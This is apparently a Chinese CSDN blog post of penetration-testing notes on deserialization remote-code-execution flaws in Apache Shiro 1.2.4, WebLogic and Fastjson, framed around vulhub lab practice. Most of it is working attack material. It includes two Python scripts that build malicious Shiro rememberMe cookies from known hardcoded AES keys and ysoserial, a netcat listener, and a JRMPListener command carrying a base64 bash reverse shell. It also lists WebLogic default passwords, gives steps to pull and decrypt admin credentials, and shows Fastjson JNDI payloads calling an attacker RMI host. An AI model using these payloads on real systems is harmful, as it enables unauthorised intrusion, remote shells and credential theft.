框架漏洞RCE-3

本文探讨了ApacheShiro1.2.4中的AES加密密钥泄露导致的反序列化漏洞,以及如何通过构造恶意输入进行攻击。同时,还介绍了Weblogic中的反序列化漏洞利用方法,涉及Fastjson的序列化问题和漏洞利用技术。
摘要由CSDN通过智能技术生成

一、序列化和反序列化

1、序列化:序列化就是把对象转换成字节流,便于计算机保存在内存、文件、数据库中

2、反序列化:就是序列化的逆过程

3、在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()

4、反序列化漏洞:通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

二、shiro1.2.4

1、Apache Shiro是一个Java安全框架,能执行身份验证、授权、密码和会话管理功能。

2、漏洞形成原因:AES加密的密钥Key被强制编码在代码里,而Shiro又是开源软件,意味着所有人都可以通过源代码获取密钥

3、流程:攻击者构造一个恶意代码-->序列化-->AES加密-->base64编码-->通过cookie的rememberMe字段发送。shiro接收字段-->base64解密-->AES解密-->反序列化。

4、漏洞检测(BP抓包),查看返回包是否有rememberMe字段

(1)、未登录的情况下,返回包没有该字段。尝试在请求包中的cookie中加入rememberMe=1后,查看返回包有没有rememberMe字段(若先前请求包的cookie有值,需要清空)

注:需要注意cookie字段的位置

(2)、登录且点了remember,返回包有该字段可以判断可能存在漏洞

5、漏洞利用

(1)、使用工具:liqun工具箱等

(2)、使用python脚本

6、漏洞复现

(1)、验证漏洞是否存在

  • dnslog申请一个临时域名
  • 使用shiro.py脚本,生成payload.cookie文件
    • python3 shiro.py "http://dnslog生成的域名"
    • 若报错说没有crypto,下载:pip install pycryptodome
#shiro.py

import sys
import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    #key =  "Z3VucwAAAAAAAAAAAAAAAA=="
    #key = "wGiHplamyXlVB11UXWol8g=="
	
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("payload.cookie", "w") as fpw:
        print("rememberMe={0}".format(payload.decode()),file=fpw)

将生成的内容复制到请求包的cookie字段中,发送(原来的cookie中的内容不能删掉)

查看dnslog网站,是否存在解析记录。有就可能存在

(2)、漏洞利用

  • 攻击者打开监听端口:nc -lvp 520
  • 再开一个窗口,开启JRMP(端口设置为9999,随便设)
    • java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099CommonsCollections4 "bash -c {echo,base64编码的反弹shell}|{base64,-d}|{bash,-i}"
  • 使用so.py构造payload
    • python3 so.py 攻击者ip:9999
#so.py

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    print("rememberMe={0}".format(payload.decode()))
  • 将生成的内容复制到请求包的cookie字段中,发送。(前端必须勾选rememberMe)
  • 查看是否反射成功

7、靶场:vulhub

8、特殊:Apache Shiro 认证绕过漏洞 CVE-2020-1957 漏洞复现

三、Weblogic反序列化漏洞

1、漏洞产生原因:利用rmi远程调用框架绕过黑名单限制,将内容解析,造成反序列化漏洞。

2、weblogic常用端口:7001

3、特征:显示404错误

4、进入后台:http://ip地址:7001/console或在域名后面加上/console/login/LoginForm.jsp

常见弱口令
systempassword/security
weblogicweblogic/Oracle@123
wlcsystemwlcsystem
adminadmin
joepassword
marypassword
wlpisystemwlpisystem

5、使用工具利用:java反序列化漏洞利用工具

6、漏洞利用:靶场为vulhub-weblogic--weak_password

  • bp抓包,请求方式后面更改访问URL,为URL+?path=security/SerializedSystemIni.dat发送
    • 返回包会得到一串乱码,右键copy to file保存成文件,文件名为:SerializedSystemIni.dat
  • bp抓包,请求方式后面更改访问URL,为URL+?path=config/config.xml
    • 返回包中的<node-manager-password-encrypted>的值,即为加密后的管理员密码
  • 打开jar工具:jave -jar weblogic_decrypt.jar
    • 输入以上获得的两个值,点击确定,就会获得密码

注:靶场登录后还有文件上传漏洞

7、扩展:尝试其他weblogic反序列化漏洞

四、fastjson漏洞

1、漏洞产生原因:当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去,只保留接口的类型,最后导致反序列化时无法得到原来的类型。

推荐资料:Fastjson反序列化漏洞原理

2、判断是否存在:

(1)、抓包,发现返回包中有JSON格式或fastjson关键字

(2)、抓包,改变请求格式get/post---》将content-type 请求头修改为 application/json---》将get请求的返回包中的大括号包裹的内容复制到post请求包并发送,看返回包结果是否与请求包中一致。

(3)、抓包,改变请求格式get/post---》将content-type 请求头修改为 application/json---》将POC放到请求包下面并发送,查看dnslog网站是否有解析记录

POC:{"a":{"@type":"java.net.Inet4Address","val":"dnslog生成的域名"}}

3、漏洞利用(与log4j2方法a类似)

与log4j2不同点:bp发送的POC不一样。

#POC
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://攻击者IP地址:端口/Exploit",
        "autoCommit":true
  }

个人认知有限,大家可以提建议或者推荐更好的文章。互相分享,提高自身水平!

  • 35
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值